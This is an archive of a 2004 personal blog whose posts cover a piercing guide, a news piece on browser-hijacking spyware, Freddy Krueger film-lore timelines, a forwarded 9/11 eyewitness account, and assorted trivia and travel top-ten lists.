- Golden Lion Tamarin (Leontopithecus rosalia)
- Hybrid Spider Monkey (Ateles belzebuth hybridus)
- Aye-aye (Daubentonia madagascariensis)
- Gorilla
- Red Wolf (Canis rufus)
- Amur Leopard (Panthera pardus orientalis)
- Anatolian Leopard (Panthera pardus tulliana)
- Asiatic Cheetah (Acinonyx jubatus venaticus)
- Florida Cougar (Puma concolor coryi)
- Iberian Lynx (Lynx Pardinus)
- Snow Leopard (Uncia uncia)
- Texas Ocelot (Leopardus pardalis albescens)
- Tiger (Panthera tigris)
- Marine Otter (Lutra felina)
- Giant Panda (Ailuropoda melanoleuca)
- Lesser Panda (Ailurus fulgens)
- Cuvier's Gazelle (Gazella cuvieri)
- Western Giant Eland (Tragelaphus derbianus derbianus)
- Wild Bactrian Camel (Camelus bactrianus)
- Manipur Brow-Antlered Deer (Cervus eldi eldi)
- Black Rhinoceros (Diceros bicornis)
- Broom's Pygmy-possum (Burramys parvus)
- Northern Hairy-nosed Wombat (Lasiorhinus krefftii)
- Short-tailed Chinchilla (Chinchilla brevicaudata)
- Giant Armadillo (Priodontes maximus)
- Crested Shelduck (Tadorna cristata)
- White-winged Duck (Cairina scutulata)
- Marquesan Kingfisher (Todirhamphus godeffroyi)
- Rufous-lored Kingfisher (Todirhamphus winchelli)
- California Condor (Gymnogyps californianus)
- Mauritius Kestrel (Falco punctatus)
- Hawaiian Crow (Corvus hawaiiensis)
- Cochabamba Mountain-finch (Poospiza garleppi)
- Gouldian Finch (Chloebia gouldiae)
- Blue-bellied Parrot (Tridaria malachitacea)
- Whooping Crane (Grus americana)
- Siberian Sturgeon (Acipenser baerii baerii)
- Alabama Sturgeon (Scaphirhynchus suttkusi)
- Chinese Paddlefish (Psephurus gladius)
- Alabama Shad (Alosa alabamae)
- Silver Shark (Balantiocheilos melanopterus
- Clanwilliam Redfin (Barbus calidus)
- Wild Common Carp (Cyprinus carpio)

Piercing guides....

2004-06-28T23:30:00.000+02:00

Do you have a piercing? Not ear piercing. That's common. What about something different? Here are some precaution for you all.

Bellybutton rings (or if you want to sound more impressive, "navel rings") can be a sexy addition to a nicely toned stomach. If you're an athlete, a dancer, or anyone else who uses the body excessively, however, you should probably re-consider targeting this region. Changing clothes frequently, falling to the ground, tackling people, and sweating a lot will not allow the piercing to heal properly (read: nasty infections). But the benefits of a bellybutton ring are:
* It's a low-key yet interesting place for jewelry.
* It's easy to hide if you only want a select few to see it.
* If something goes wrong, it's better to get an infection on your bellybutton than on your tongue, face, or genitalia.

Keep in mind that the tongue is one of the strongest muscles in the human body, so it is capable of a lot of wonderful pleasures (as well as pain). Lots of people get their tongues pierced for purely sexual reasons. Ironically, no kissing or oral sex is allowed during the healing period, which lasts three to four weeks. Consider, though, that if you are prone to oral fixations (chewing on pens, eating lots of candy, or talking too much), this one isn't for you.

The face offers a myriad of piercing options, most commonly the eyebrow, nose, lip and chin. Because the face is so out there in the open, these piercings will be very difficult to hide if need be. They can be quite funky, however, and are perfect for free spirited, pre corporate youths. If you're an athlete, though, avoid all of these, except maybe the nose. Unless you like getting tugged around by a bloody metal rod attached to your brow.

Nothing like a barbell through the ol' Johnson to get the party started, eh? Be rational. While genital piercings can make you scream with pleasure in the bedroom, they can also make you scream with pain in your piercer's chair. These are very sensitive regions we're dealing with, and are often prone to infections.

For a detailed look at all your piercing options (both X-rated and not), as well as how much they'll cost. Check out the guides below. The prices may seem a little bit steep, but this is the range you should expect from a top notch piercing salon. Yeah, we know you can get a $10 nose ring from your roommate's cousin Vito, but it's always best to loosen the purse strings in the name of safety and hygiene.

Ear (lobe) $20
Ear (all other parts) $30 / $60
Nose (nostril) $35
Nose (septum) $25 / $30
Eyebrow $35 / $60
Navel $35 / $55
Tongue $60
Labret/lip/cheek $55
Nipples $35 (single) / $55 (pair)

Freddy Krueger's nightmare in "real world"...

2004-06-27T19:12:00.000+02:00

Think of it as spyware meets Freddy Krueger - a genre of Internet monster that hijacks your browser and, like the villain of "Nightmare on Elm Street," can't be killed.

This new "kruegerware" can steal your home page, lock you permanently to a porno site, or ship all your Google queries to a dubious ad-driven alternative. Increasingly this type of program doesn't just wreak havoc. It can avoid detection by popular spyware programs and even if you think you've gotten rid of it, it usually comes back, like Freddy.

The "viruses" are actually processes that are tampering with Explorer, and anti virus program indicates they can't be deleted. Try to clear them out manually and "they are immediately downloaded from the Internet and restored when Explorer reopened."

Most experts think these persistent pests are only going to increase. The reason, according to Sam Curry, Computer Associates' resident security guru, is "unlike most hacking and most viruses, spyware is financially driven; people wouldn't do this if it didn't pay."

The way it works: Web sites that refer users to other sites may get commissions on sales, or on the volume of traffic directed. By locking in a page like greatsearch.biz as a user's main search page, kruegerware authors can generate hundreds of thousands of dollars in referral commissions. "They wouldn't do it if it didn't work, and if people didn't click through it. The returns exceed the risk," Curry said.

Greatsearch is a comparatively mild case. Truly gory details are chronicled at www.spywareinfo.com/~merijn/index.html, the home page of a Dutch student Merijn Bellekom who, like Dracula's literary foe Van Helsing, has dedicated his life, or at least his spare time, to fighting immortal evil with cool technology. In this case, it is browser hijackers that send computers to the home page of a Russia-based company, Cool Web Search. Says Curry "Cool Web Search is a horrible one, with 30 different iterations, and trying to find all the tentacles when you go in can be impossible. It will leave things like registry keys that say, if these files are missing, go to thus and so a page and download them."

For a couple of years now, Bellekom has written and rewritten a program called Cwshredder to remove more of the hijackers associated with the Cool Web Search page, but admits there still are a couple that are so slick he can't touch them. Some are like an inoperable form of cancer - they burrow into Windows so deeply that removing them will destroy Windows and force a new installation.

Ironically, some of the biggest problems are caused by badly designed hijackers, which, rather than go about their business surreptitiously, cause computers to crash or slow down dramatically. More successful versions can create bookmarks to pornographic Web sites, batter the user with porno popup ads, or set the home page to an unwanted address. Some of the worst of these addresses are listed on the www.spywareinfo.com site. Cool Web Search didn't respond to Newsday e-mails, but on its Web site, the company denies it is responsible for the problems.

Bellekom says that anti-virus software companies, which are increasingly taking aim at these hijackers, still aren't 100 percent successful.

"The antivirus companies really are targeting this, but the problem is that you don't have perfect targeting of so many different variants overnight," he said. "Some antivirus programs remove the main parts of the most widespread variants, but leave traces behind, sometimes allowing it to restore itself and reinfect a system. I'm sure that they will eventually remove all of the variants properly."

Bellekom and other experts blame poor Windows security for the emergence of these super threats. According to Curry, Windows allows one careless click on the wrong popup to download a browser hijacker with all the security privileges it needs to effect a complete takeover of your PC. At that point, Bellekom's Web site documented how these programs can turn off fire walls, disable security software, (including Ad-Aware, Spybot and most anti-virus scanners), and place sites in the Windows "trusted domains" so they can download even more spyware.

Although law enforcement is increasingly pursuing spammers and virus authors, the people who write spyware and browser hijackers are still beneath the official radar.

"They usually only inspect these kinds of things when massive monetary damages are suffered, and since this trojan strain doesn't actively spread from machine to machine [only from Web site to machine] it doesn't have their attention yet," Bellekom said.

Still, according to Mark Rasch, chief security counsel of Solutionary Inc., a smart prosecutor could go after companies and affiliates that spread browser hijackers. Said the former federal computer crime prosecutor, "In theory a lot of spyware would violate the computer crime statutes" that outlaw viruses. "Essentially it's code you don't want that's making your computer do something you don't want to do; how is that different from a computer virus?"

In the meantime, computer users are coping on their own by nervously downloading Windows security updates and by running multiple protective software programs. "My wife said: Isn't broadband fast?" a frustrated Clyde Smith, a Long Island retiree, says, laughing. "Five minutes to check for Windows updates, McAfee updates, and Spybot updates, one minute to download a recipe, and 20 minutes to run McAfee and Spybot to scan for problems with the file."

Freddy Krueger part 2...

2004-06-24T22:39:00.000+02:00

A new day in Springwood town begins after they murder Freddy Krueger. They think that their family are save then. But what they didn't know was that Freddy only gets better, stronger, crazier than before. Here's the story of the "New Freddy Krueger."

September 1980: In a three day stretch three teenagers die in Springwood. No fugitive was ever apprehended for the murders, but the local police have their fears that it was Freddy Krueger. Two of the victims, Glen Lantz and Tina Gray, died in particularly horrible fashion, which was Krueger's old M.O. Marge Thompson died in her sleep the last night of the crime spree, which seemed to end the murderous rampage. Following the death of his ex wife, Donald Thompson and his teenage daughter, Nancy, move out of the house.

July 1985: After sitting empty for nearly 5 years, a new family, the Walshes, buy the old Thompson house.

September 1985: In a three or four day stretch, several more teenagers and a local gym coach at the high school all die gristly deaths, the weapon of choice being a straight razor slashed four times in close proximity to one another. Once again, police are baffled, and Krueger's name is mentioned again. After the final death of this killing spree, the Walshes move out of the old Thompson house, and with no one wanting the house, it wastes away.

October 1987: In a three day stretch, several teenagers and a young staff member at Westin Hills all die from apparent suicides. Following this scandal, Westin Hills is closed down.

September 1988: In another brutal killing spree lasting three or four days, several more teenagers, all students at Springwood High, die of mysterious circumstances. One girl, Alice Johnson, claims it was Freddy and she stopped him. No one believes her story.

June 1989: Shortly after graduating Springwood high, three friends of Alice Johnson's all die of varying reasons. Alice's claims that it was Freddy are once again ignored.

September 1989 - September 1999: Mysterious deaths, suicides, instances of Sudden Infant Death Syndrome, and other factors cause all the children, teenagers, and young adults of Springwood to mysteriously die. The parents begin to claim that it is, in fact, Freddy Krueger, getting his revenge from beyond the grave. Several adults leave Springwood, those that remain live with a state that can best be described as mass psychosis. There are rumors that there is one child left in Springwood, but he runs away before any documentation can be made. Also during this ten year period, Alice Johnson gives birth to a son, Jacob Johnson. The two of them mysteriously disappear shortly after Jacob's birth. Their whereabouts are unknown to this day.

September 1999: In another unexplained crime scene, three teenagers are all found dead in Springwood. Two are found in the old Thompson house, one near the town limits. Police are summoned to an explosion in a Youth Shelter just outside the neighboring town of Elm Grove, where they find a dirty brown fedora, several pieces of burned skin and muscle tissue, some sweater fragments, and what appears to be the destroyed remains of a razor tipped glove.

December 1999: The town of Springwood decides that it is time for a fresh start. All evidence of the Krueger family is destroyed, several news articles are edited and blacked out, and the parents remaining begin to have children again. The children are medicated with an experimental dream suppressant drug called Hypnocil. Several parents begin to move into Springwood with their children and teenagers. Some of the teenagers claim to see a monster in their dreams. They are quickly and quietly shipped off to the newly reopened Westin Hills. Little by little, the town begins to grow again.

September 2003: After 4 years of silence and peace, Jason Voorhees appears in Springwood and begins to slaughter anyone that stands in his way. A van is seen leaving the town late towards the end of the killing spree. It returns hours later, with two young teenagers claiming that Freddy had came back, but they had taken care of him. Of course, no one believes them.

So, what do you think? Well it sure is an interesting life story to know, but don't get inspired and follow his steps. I believe some of you got some flashback and imagination of the scene from his movies. Seen his last action? Jason Vs. Freddy? Don't worry Freddy's not dead yet. None can kill what's already dead and especially Freddy Krueger, the one who lives, creates horror, and kills you while you are a sleep. I hope a great movie director from Hollywood will start writing a new script about Freddy. Can't get enough of his action. Right?

Freddy Krueger part 1...

2004-06-24T19:31:00.000+02:00

My promise to you about Freddy Krueger. Here's a quick life story about Freddy Krueger. Maybe not as detail as it is supposed to be. But I try to summarize as good as it can be just for you. I hope you can understand and get to know this guy a little bit better. If you still curious about him, you may consider to go watch all the movies available about him.

October 1918: Amanda Krueger is born in Westin Hills hospital in Springwood, Ohio.

July 1936: At the tender age of 18, Amanda decides to devote her life to God and becomes a nun. Her name in Christ was to be known as "Sister Mary Helena." Her first assignment as a nun is to, ironically, the place she was born, Westin Hills. She is put in "The Tower", which was the insider nickname for the place where the absolute worst of the criminally insane were locked up like animals. Around up to 100 criminals were put there. From thieves, rapists, murderers, etc.

December 1937: During the holiday season, just a few days shy of Christmas, Amanda Krueger was accidentally locked in "The Tower" when the guards were in a hurry to go home to their families. The inmates kept her hidden for several days, brutally raping and beating her. When she was finally found, she was barely alive, and pregnant.

September 1938: After a breech birth, Fred Charles Krueger is born. Amanda decides to raise the boy, and the convent allows her to stay on as a nun.

July 1948 - December 1948: Freddy (as his mother called him) began to display eccentric and even sociopath tendencies, such as playing alone and hurting small animals.

January 1949: At the tender age of 11, Freddy becomes a ward of the state after slicing his mother's leg with a kitchen knife.

1949 - 1956: Freddy bounces from Foster home to Foster home as he goes through grade school. He quickly becomes the other children's scapegoat. Two particularly horrible bullies where Walter Lantz and Douglas Parker.

March 1956: At the age of 17, Freddy is sent back to live with his mother to try and help the boy. Freddy is already showing homicidal tendencies, including killing dogs and cats. He also finds his first ever beat up fedora outside of a grocery store.

April 1957: Freddy is released from his mother's care after he rapes and beats her.

June 1957: Freddy is sent to live with a drunk old farmer on the outskirts of Springwood after dropping out from Springwood High School.

August 1957: After developing a taste for self-mutilation with his straight razor, Freddy murders the farmer, who as it turned out was abusive. Due to the fact he was under the age of 18 by roughly one month, he wasn't trial for murder.

October 1957: Freddy goes to work as a janitor at Springwood High. He also meets and begins to court Loretta Johnson, a waitress at a nearby diner.

December 1957: Freddy Krueger marries Loretta Johnson.

January 1958 - June 1962: Freddy lives a double life at the time, playing family man with Loretta and maltreating and raping prostitutes. He continues to have problems with his work record, as he is fired and rehired to his janitorial services. In between the stints as janitor, he begins to work in the Springwood Power Plant on the outskirts of town.

June 1962: Katherine Krueger is born.

July 1962 - July 1963: Freddy tries to reform and actually succeeds to a small degree, committing crimes during this time.

July 1963 - September 1967: Freddy begins to systematically slaughter the children of Springwood. Among those that lose their children are several of Freddy's classmates from school that teased him horribly. He manages to hide his secret from his wife and daughter by keeping his instruments of destruction hidden and locked up in the basement. It is at this time that he also buys an old ice cream truck and uses it to lure children to their deaths. He also receives a successful transfer from the high school and becomes the new janitor of Springwood Elementary School.

September 1967: Loretta accidentally uncovers what is going on in the basement. Freddy strangles her to death. Katherine witnesses the murder and tells someone. Katherine is taken to an adoption home and Freddy flees the law.

September 1967 - September 1970: Freddy kills at least 10 more children, hiding in his ice cream truck and at the local power plant where he used to work. It is estimated that "The Springwood Slasher", as the papers dubbed Freddy, has killed at least 20 to 30 children.

September 1970: Lt. Donald Thompson collars Freddy Krueger just as Krueger was about to murder 5 year old Kevin Marks. Thompson had an arrest warrant for Krueger.

October 1970: After sitting in a holding cell for a month, Freddy goes to trial. During the trial, it is revealed that the arrest warrant for Freddy was not signed in the proper place. Due to this technicality, Freddy is released. The parents swore revenge. That night, a group of angry parents including Lt. Thompson and his wife Marge, Richard Lane and his wife, Walter Lantz, and Doug Parker, among others, trapped Freddy in his boiler room and burn him to death. But the parents were too late to save the life of 6 year old Melissa Roberts, Freddy's last victim. Also dying around this time was Amanda Krueger. After hearing about what happened in the trial, she lost her mind and hung herself allegedly, but no body was ever found.

That's the story of his life. Pretty crazy guy isn't it? What??? Are you sad because of he's dead now? Don't worry. That's not the last of him. What those parents did was only helping Freddy to start a new chapter of his action. I'll tell you about the new Freddy Krueger next time. Don't get sad...

Someone you all must know!!!

2004-06-23T22:26:00.000+02:00

Ever heard this song?
1, 2 Freddy's coming for you
3, 4 better lock your door
5, 6 grab your crucifx
7, 8 gonna stay up late
9, 10 never sleep again

Never heard before? How about a little more clue about what I am talking about.

"My children...... from the very beginning it was the children who gave my powers. The Springwood Slasher, that's what they called me. My reign of terror was legendary. Dozens of children would fall by my blades. Then the parents of Springwood came for me. Taking justice into their own hands. When I was alive, I might have been a little naughty, but when they killed me I became something much, much, worse, the stuff nightmares are made of. The children still feared me and their fear gave me the power to invade their dreams. And that's when the fun really began! But until they figured out a way to forget about me... to erase me completely. Being dead wasn't a problem, but being forgotten!, now that's a BITCH! I can't come back if no one remembers me, I cant come back if nobody is afraid!! I had to search the bounds of hell... but I found someone, someone who will make'em remember. He may get the blood, but I get the glory... And that fear is mine to get home."

Got any idea??? Not yet??? Ok then, I'll tell you who. That was a part of dialogue taken from the movie called Jason Vs. Freddy.

I'm talking about Fred Charles Krueger. Birth on September, 1938 in Westin Hills Hospital, Springwood, OH, United States. A caucasian male, around 5 feet tall or more. Weighing around 160 lbs.

Know him? Great!!! Good for you. He's my favorite character ever in horror movie. Got to know this guy when I was still around 7 or 8 years old. Since then I never skip any of his movies either on TV, movie, video, etc.

Got interested with him? I'll tell you more about him next time.

World most dangerous list...

2004-06-23T10:10:00.000+02:00

I did some research and manage to sum up this list. Read it carefully, who knows what's going to happen in the future.

World most dangerous country
Pakistan

World most dangerous city
St Louis, MO, U.S.

World most dangerous street
O'Connell Street, Dublin, Ireland

World most dangerous Volcano
Mount Vesuvius, Italy

World most dangerous animal
Mosquitos (there are 2500 more species of mosquitos)

World most dangerous man
Saddam Hussein (you all know him right?)

World most dangerous woman
Dr. Rihab Taha (Iraq's bioweapons chief)

World most dangerous mafia
The Red Mafia (Rules over Arms-Trafficking, Money-Laundering, Drug-Running, and Art-Smuggling)

World most dangerous gangster
Semion Mogilevich / Brainy Don (The enigmatic leader of the Red Mafia)

World most dangerous sports
BASE jumping

World most dangerous song
Copy Killer by Ice T (convince lots of people to do what the song tell)

Unbelievable story... Part 2

2004-06-22T17:42:00.000+02:00

Eventually some security person directed us away from there, and I walked through the building nearest to me, and back out onto the street and up to another vantage point. I kept looking at people, and the towers, and trying to call someone on my phone, and just generally trying to cope with everything I was observing. Then the unimaginable happened. With a deep rumble and an explosion, I saw the top floors of the building drop down, almost in slow motion. I stood transfixed, as the structure dropped down upon the lower levels, imploding and careening towards the ground. Then the survival centre in my brain began shouting the alert for me to run, run for my life in fact. I ran down the street, my legs pumping as fast as they could, dimly aware of both the people running in terror in front of me, and out of my side vision someone who had fallen down on my left side. I was next to a building, and I headed for the corner of it, throwing my head over my left shoulder, I gave a quick glimpse of Armageddon coming down the street behind me, pieces of the building, debris, and a massive cloud of dark gray smoke. I hung a left, and the pieces of building blasted past where I had been just milliseconds before, like a runaway freight train.

I dove around the corner of the building and underneath a steel door that was just inches from closing, behind another guy and a cop. I’ll never forget as long as I live the sight of all the cops who had previously been trying to maintain order and keep people safe, suddenly all running at top speed away from me and the carnage.

Inside the building, the air was clogged with debris, you could barely see or breathe. The young squat cop immediately shifted from being afraid and running for his life, to concerned about the welfare of all of the people now in his realm of responsibility. He asked if anyone was hurt, and ushered us towards a tiny office in the back of the building. Two garage attendants offered us water at a small sink, and provided us with shirts to put over our mouths and noses to breathe through. Outside it was black as night, you can’t imagine the depth of the darkness. Then, after a few minutes I guess, the young cop was talking on his radio and said that we had to evacuate that building, our refuge. I again got that scared feeling, like we were in imminent danger of the structure collapsing. We got our breathing cloths in place, and proceeded out into hell. The black had given way to a dense gray, and the air was still chokingly thick with debris.

We made our way to a deli where others were huddled, and inside we got more water, and I set about cutting up my breathing shirt with a large knife, to give to others that were without. People were frantically grabbing for the pieces I was cutting, not even mindful of the large and very sharp knife I was using. I had to keep warning them to please be careful and watch out while I was cutting. I couldn’t cut and tear fast enough. After a few minutes one of the cops said we had to get out of there too. They instructed us to take as many bottles of water as we could carry. I stood there, with a bottle of water in my pants pocket, and dumping one into my eyes, and the young cop next to me was grabbing bottles, and he turned to me and said “its like we’re looting the place.” Then we left and headed out onto the street again. While walking, people were just coming up to me and asking if I needed water, if I was okay, everyone just seemed to be pulling together in this mutual moment of need. Finally I wound up at the entrance to the Brooklyn Tunnel. Cops were telling people either to go into the tunnel or to head towards South Street Seaport. I decided to try the tunnel, since that’s where my sisters’ place was anyway.

The tunnel didn’t provide much refuge from the debris, I found to my dismay. I kept the breathing cloth pressed over my mouth and nose and forged ahead, walking on the catwalk, just above the sea of abandoned cars. I walked on and on, seeing few people along the way. I gave one of the people my water bottle, for him to take a drink from, and we continued walking together. Finally we got to where the cars ended, and from there we walked in the roadway. Ultimately, I ran into a bunch of detectives, in suits, and I walked with them, while the other people that I had been with got on a bus that was slowly backing its way out of the tunnel. While walking with the detectives, a cop drove up and we all piled in. He drove us the rest of the way out of the tunnel, and then left us at the mouth of it. I walked slowly towards the toll plaza, and then the overwhelming feelings began to flood in, and my emotions crashed upon me, interspersed with brief footage inside my head of what I had observed just a short while before. I wept as I walked, and two kind policemen came up to me and comforted me, and gave me a bottle of juice, and talked with me for a while. Their looks of concern and their kind words helped me to calm down a little, and I gave them my information, and then asked them how to get to fourth and Pacific. They gave me directions, and some more words of comfort, and then I headed out for the last leg of my journey.

Walking along Atlantic, I turned around as I heard a car approach, and two Spanish guys pulled up and asked me if I was okay. I said that I was and I asked if they could give me a ride. They told me to hop in. As we drove, the driver told me he was headed to the 59th street bridge, to pick up his wife. He said he’d drop me off before he turned.
They said something about how we were all going to have to pull together now. They took me about a mile and a half, and then dropped me off, and wished me luck.

Then I walked for blocks and blocks, pausing every so often to look over my shoulder at the huge pall of smoke that was rising above Manhattan. It was surreal in Brooklyn, because no one here really knew what had just happened in such close proximity to where they were. People were just going about their business, for the most part, talking, laughing, making phone calls, walking along the street. None of them knew what had just transpired a short way across the river. I walked, and wept periodically, not paying much attention to the people on the street, and they not paying me any mind as well. Finally I made it to Fee’s apartment, where I now sit, trying to comprehend what has happened. Watching it on T.V. is just making it more unbelievable. I’ve seen footage of the second plane hitting the building, and I’ve seen footage of the buildings collapsing, but I still cannot fully grasp it all. I keep feeling like I’m going to wake up from it, and it will all be a nightmare. The human remains, the personal effects, the pieces from the aircraft, the guy falling, the panic in the streets, the buildings collapsing, it will all just be a nightmare. I wish I could wake up from this.

Unbelievable story... Part 1

2004-06-22T17:22:00.000+02:00

This is amazing...written by a young man, Chuck, who experienced first hand, the horrors of September 11, 2001. He was in the heart of it all. Chuck's address was not given. It was sent to me by someone whose friend sent it to her. I know you've probably heard lots of stories, but this story really makes you feel that you were there.

September 11, 2001

Well, today began exactly like yesterday, but I'm sad to say that it didn't progress with the same tranquility as the previous day. I'm in New York City attending the FIRRM class as part of my commissioning process, and up until 9:10 AM today that was exactly what was happening. I was sitting in class, trying to pay attention to the teacher, and follow the concepts he was presenting, which was the term structure of interest rates. As I was looking out the window from time to time, I noticed that a lot of papers were falling from the sky past the windows. I remember thinking that it was probably a bunch of newspapers that had fallen off a rooftop or something.

Then there was a loud sound, like a muffled crash or explosion, and my world, my being, will never be the same again. Looking outside, hordes of people were moving quickly in the same direction, towards the southern part of Manhattan. The class left their seats and pressed against the window, and then we all left the building en masse for the street. It was baffling at first to see virtually everyone moving in the same direction with panicked looks, and anguish on many faces. Then I heard someone say that an airplane had hit the World Trade Center.

I don't know what happened inside of me, but I just began walking towards the Trade Center buildings, against the flow of literally thousands of people. I had to tuck myself in, and take the brunt of several impacts, as people trying to flee bumped into me. But I continued onward, and within a few minutes I was looking at the twin towers, each with a gaping hole in them and blackened floors, and black smoke and flames billowing out of them. The scene on the streets was chaos, and the emergency personnel were too stunned to pay any attention to the few people like me that were moving closer to the carnage.

Eventually I wound up standing next to a building for shielding from the pieces of wreckage that continued to rain down, and I stood and looked at the buildings burn. Once I was ushered away, I headed down to the next block and cut over and moved back towards the towers. Heading down one street, I began to notice strange-looking debris all over the ground, and on cars, and draped across fruit in fruit-stands. Dimly, from somewhere deep within the recesses of my mind I knew these were human remains, but my brain didn't want to comprehend it, and instead I told myself it was damaged fruit. In fact, it was all so badly mangled and in such small pieces that you couldn't really identify what any of it was.

Intermingled with these mangled bits of what I was trying to tell myself were fruit, were other items, flotation devices from aircraft, and pieces of fuselage, and a mangled cell phone, and bits of clothing, and shoes. All sorts of various items were strewn about everywhere. A limousine parked on the side of the road had a metal rod impaled through its hood and engine compartment. That was a sobering sign, as I was standing on the street next to it unprotected.

I wound up standing next to a guy in a suit who was trying to use his cell phone, and I told him it was fruitless, as I'd been trying to dial different numbers all along with no success. We then chatted a bit, and he informed me that a second plane had hit the other building, and that it was a terrorist attack. He asked me something that I can't remember now, and I wound up telling him that I was unfamiliar with the area, as I was visiting from Richmond VA. He gave a dry laugh and said welcome to New York.” He said his name was Rich. I shook his hand. It seemed like the appropriate thing to do, I guess. What is appropriate when the world is exploding around you?

As we were talking, he looked up and said “oh no, another one jumped.” And I looked up and watched a man falling backwards through the air, close enough for me to see his white shirt and tie, and black shoes. He was motionless and in a backwards sitting position. And he just fell and fell, it seemed like forever that he dropped through space. I watched him, frozen in horror, right up until he passed out of my sight behind part of the structure, and then there was an amazingly loud crash, perhaps he landed on a car, I'm not sure. I looked down at the ground, stunned and in disbelief, and that’s when I saw the first recognizable item on the ground; a human foot.

Do you see this face?

And the figure behind it?

Rich asked me if I thought the buildings could possibly collapse, and I said that I didn’t think it was possible, and I mentioned the time that a U.S. bomber had flown into the Empire State Building. And in fact the twin towers didn’t look like they were weakened, although several floors were burning badly on each side of them.

I really can’t remember what I did for the next several minutes, I just looked around at the carnage, spotting more grisly remains, and pieces of aircraft, and personal effects, and the like. Then a group of fire-fighters passed by us, heading towards the building, and I remember looking into some of their faces, and wanting to tell them to be careful. I was looking up the street away from the twin towers, and I saw Rich and another guy who had been talking a little bit suddenly look terror-stricken, as they apparently were watching another jumper fall through the air. The sound of the impact was so shocking, and Rich actually grabbed the other guy for support, and said “oh my God, he landed on a fire-fighter.” I turned around and saw the group of fire-fighters dragging the two away, the jumper in a deep blue pinstriped suit, and the fire-fighter who had been struck by him. The jumper’s body moved in impossibly pliable ways, and I watched, transfixed, as they dragged them both past me.

Magical bean... Not the one can grow to the cloud....

2004-06-22T00:21:00.000+02:00

There was usually a display on the counter that held little clear plastic boxes of four or five Mexican jumping beans in a gift shops around United States, found some in Singapore too. You could hear the display rattle as the beans clicked against the plastic boxes. We would buy them and play games with them on the kitchen table. So, to answer your first question, Mexican jumping beans are real.

The next question should be, "Do Mexican jumping beans have the near-human mental capacity of the beans that help Speedy Gonzalez? Are they able to jump the length of a room, trip adversaries..." Unfortunately, no. Mexican jumping beans are about the size of a kernel of corn or a small bean. They do not wear sombreros. They do not jump into the air. They rock, or, on occasion, scoot a millimeter or two. Imagine a kernel of corn that scoots a millimeter in one direction every 15 seconds or so. That's about as exciting as jumping beans get.

The thing that makes these beans jump is a tiny moth larvae that lives inside the bean. The moth lays its eggs in the flower of the plant, and the eggs are incorporated into the seeds. The larvae then eat out the interior of the bean and live there. When the larvae move, so does the bean. Eventually, the larvae turn into moths that emerge from the beans to repeat the cycle.

Human Teleportation

2004-06-22T00:12:00.000+02:00

We are years away from the development of a teleportation machine like the transporter room on Star Trek's Enterprise spaceship. The laws of physics may even make it impossible to create a transporter that enables a person to be sent instantaneously to another location, which would require travel at the speed of light.

For a person to be transported, a machine would have to be built that can pinpoint and analyze all of the 1028 atoms that make up the human body. That's more than a trillion trillion atoms. This machine would then have to send this information to another location, where the person's body would be reconstructed with exact precision. Molecules couldn't be even a millimeter out of place, lest the person arrive with some severe neurological or physiological defect.

In the Star Trek episodes, and the spin-off series that followed it, teleportation was performed by a machine called a transporter. This was basically a platform that the characters stood on, while Scotty adjusted switches on the transporter room control boards. The transporter machine then locked onto each atom of each person on the platform, and used a transporter carrier wave to transmit those molecules to wherever the crew wanted to go. Viewers watching at home witnessed Captain Kirk and his crew dissolving into a shiny glitter before disappearing, rematerializing instantly on some distant planet.

If such a machine were possible, it's unlikely that the person being transported would actually be "transported." It would work more like a fax machine, a duplicate of the person would be made at the receiving end, but with much greater precision than a fax machine. But what would happen to the original? One theory suggests that teleportation would combine genetic cloning with digitization.

In this biodigital cloning, tele-travelers would have to die, in a sense. Their original mind and body would no longer exist. Instead, their atomic structure would be recreated in another location, and digitization would recreate the travelers' memories, emotions, hopes and dreams. So the travelers would still exist, but they would do so in a new body, of the same atomic structure as the original body, programmed with the same information.

But like all technologies, scientists are sure to continue to improve upon the ideas of teleportation, to the point that we may one day be able to avoid such harsh methods. One day, one of your descendents could finish up a work day at a space office above some far away planet in a galaxy many light years from Earth, tell his or her wristwatch that it's time to beam home for dinner on planet X below and sit down at the dinner table as soon as the words leave his mouth.

For those who wants to travel but no clue yet...

2004-06-19T00:54:00.000+02:00

I believe some of you have adventure spirit deep inside you. The urge to travel and visit some interesting, fun, extravaganz, wild, scary places and stuff. Well if you are planning on taking some vacation, off from your work or holiday from school, you may check out these places I am about to tell you. Turn off the computer, get your ass up, pack up your stuff for a week or more, go to the airport and go to place you think is interesting. Better check them out all. It's worth it. I promise you that.

Listen you cheap people!!! You only live once. What are you going to do with your money? Why keep it and not using it at all? Do you think you can bribe GOD and put you in heave later when you are dead? Come on... Be real...

Well here are the lists of places to visit in this so called world.

Top 10 Nude Beaches...
1. Montalivet, France
2. Ocho Rios, Jamaica
3. Wreck Beach, British Columbia
4. Samurai Beach, Australia
5. Hedonism II, Jamaica
6. Praia do Pinho, Brazil
7. Red Beach, Greece
8. Haulover Beach, Florida
9. Red, White and Blue Beach, California
10. Little Beach, Hawaii

Top 10 places for SPRING BREAK!!!
1. Panama City, Florida
2. Cancun, Mexico
3. South Padre Island, Texas
4. Lake Havasu, Arizona
5. Jamaica
6. Mazatlan, Mexico
7. Daytona Beach, Florida
8. Key West, Florida
9. Rosarito Beach/Ensenada, Mexico
10. The Bahamas

Top 10 Party Spots. Party...
1. Midsummer Night's Dream Party, California
2. Mardi Gras, New Orleans
3. Ibiza, Spain
4. The Full Moon Party, Thailand
5. New Year's in Times Square, New York
6. Cabo San Lucas, Mexico
7. Hedonism II, Jamaica
8. Quebec Winter Carnival, Canada
9. Fetish and Fantasy Ball, Las Vegas
10. Lake Havasu, Arizona

Top 10 Roller Coaster ride in EUROPE.
1. Nemesis and Oblivion, Alton Towers
2. Dragon Khan
3. Colossos, Heide Park
4. Megafobia, Oakwood Theme Park
5. ThunderCoaster, Tusenfryd
6. Eurostar (HEHEHEHE)
7. Big Dipper, Blackpool Pleasure Beach
8. Shockwave, Drayton Manor
9. The Poseidon, Europa Theme Park
10. The Big One, Blackpool Pleasure Beach

Top 10 Hotel Suites
1. Presidential Suite, The Plaza, New York City
2. Presidential Suite, St. Regis, New York City
3. Presidential Suite, The Four Seasons, New York City
4. Triplex Suite, The New York Palace
5. Royal Floor, President Wilson Hotel, Geneva, Switzerland
6. Royal Suite, Burj Al Arab, United Arab Emirates
7. Royal Suite, The Lanesborough, London, England
8. Peninsula Suite, The Peninsula Hong Kong
9. Presidential Suite, Beverly Hills Hotel
10. Coco Chanel Suite, Hotel Ritz Paris

Top 10 Sacred places
1. Stonehenge (Wiltshire, England)
2. Tell el Amarna (El-Minya, Egypt)
3. Palace of Knossos (Crete, Greece)
4. The Parthenon (Athens, Greece)
